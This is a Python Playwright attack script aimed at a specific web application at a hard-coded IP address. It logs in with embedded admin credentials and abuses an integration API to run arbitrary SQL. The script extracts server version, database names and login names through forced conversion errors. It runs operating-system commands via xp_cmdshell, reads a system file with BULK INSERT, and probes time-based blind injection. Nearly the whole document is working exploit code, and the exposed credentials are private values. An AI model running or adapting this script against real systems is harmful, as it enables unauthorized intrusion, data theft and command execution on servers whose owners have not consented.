#!/usr/bin/env python3
"""Error-based exfiltration: trigger SQL errors that contain data in message.
statusText = exception message when HasError=true."""
import asyncio, re, time
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", ""
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:200]}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # Test 1: Control — SELECT 1 (should be success=true, msg=Success)
        print("\n=== Test 1: SELECT 1 (control) ===")
        await run_step("control", "SELECT 1")
        await asyncio.sleep(2)

        # Test 2: Error — CAST(@@version AS int)
        # Should trigger: "Conversion failed when converting nvarchar value 'Microsoft...' to int"
        print("\n=== Test 2: CAST(@@version AS int) ===")
        await run_step("version_err", "SELECT CAST(@@version AS int)")
        await asyncio.sleep(2)

        # Test 3: Error — CAST(@@servername AS int)
        print("\n=== Test 3: CAST(@@servername AS int) ===")
        await run_step("servername_err", "SELECT CAST(@@servername AS int)")
        await asyncio.sleep(2)

        # Test 4: Error — CAST(DB_NAME() AS int)
        print("\n=== Test 4: CAST(DB_NAME() AS int) ===")
        await run_step("dbname_err", "SELECT CAST(DB_NAME() AS int)")
        await asyncio.sleep(2)

        # Test 5: Error — CAST(username AS int) from sys.syslogins
        print("\n=== Test 5: CAST(login names AS int) ===")
        await run_step("logins_err", "SELECT CAST(name AS int) FROM sys.syslogins")
        await asyncio.sleep(2)

        # Test 6: Error — CAST(database names AS int)
        print("\n=== Test 6: CAST(database names AS int) ===")
        await run_step("dbs_err", "SELECT TOP 1 CAST(name AS int) FROM sys.databases ORDER BY name")
        await asyncio.sleep(2)

        # Test 7: Error — CAST(all DB names concatenated AS int)
        print("\n=== Test 7: CAST(all DB names AS int) ===")
        await run_step("all_dbs_err", "SELECT CAST((SELECT name + ',' FROM sys.databases ORDER BY name FOR XML PATH('')) AS int)")
        await asyncio.sleep(2)

        # Test 8: Error — CAST(whoami AS int) — via xp_cmdshell + temp table
        print("\n=== Test 8: CAST(whoami AS int) ===")
        await run_step("whoami_err", 
            "CREATE TABLE ##whoami_t (line NVARCHAR(MAX)); "
            "INSERT INTO ##whoami_t EXEC xp_cmdshell 'whoami'; "
            "SELECT CAST(line AS int) FROM ##whoami_t WHERE line IS NOT NULL; "
            "DROP TABLE ##whoami_t")
        await asyncio.sleep(2)

        # Test 9: Error — CAST(systeminfo first line AS int)
        print("\n=== Test 9: CAST(systeminfo AS int) ===")
        await run_step("sysinfo_err",
            "CREATE TABLE ##si_t (line NVARCHAR(MAX)); "
            "BULK INSERT ##si_t FROM 'C:\\\\Windows\\\\Temp\\\\sysinfo.txt' WITH (ROWTERMINATOR='\\n'); "
            "SELECT TOP 1 CAST(line AS int) FROM ##si_t WHERE line IS NOT NULL; "
            "DROP TABLE ##si_t")
        await asyncio.sleep(2)

        # Test 10: Deliberate divide by zero
        print("\n=== Test 10: Divide by zero ===")
        await run_step("divzero", "SELECT 1/0")
        await asyncio.sleep(2)

        # Test 11: RAISERROR with custom message
        print("\n=== Test 11: RAISERROR ===")
        await run_step("raiserror", "RAISERROR('CUSTOM_DATA_HERE', 16, 1)")
        await asyncio.sleep(2)

        # Test 12: RAISERROR with @@version
        print("\n=== Test 12: RAISERROR with @@version ===")
        await run_step("raiserror_ver", "DECLARE @v NVARCHAR(MAX) = @@version; RAISERROR(@v, 16, 1)")
        await asyncio.sleep(2)

        # Test 13: Time-based — measure response time
        print("\n=== Test 13: Time-based (5s delay) ===")
        t0 = time.time()
        await run_step("time_test", "WAITFOR DELAY '00:00:05'")
        t1 = time.time()
        print(f"    elapsed: {t1-t0:.1f}s (should be ~5s if time-based works)")
        await asyncio.sleep(2)

        # Test 14: Time-based — no delay (control)
        print("\n=== Test 14: Time-based (no delay, control) ===")
        t0 = time.time()
        await run_step("time_ctrl", "SELECT 1")
        t1 = time.time()
        print(f"    elapsed: {t1-t0:.1f}s (should be ~2s)")

        await browser.close()

asyncio.run(main())
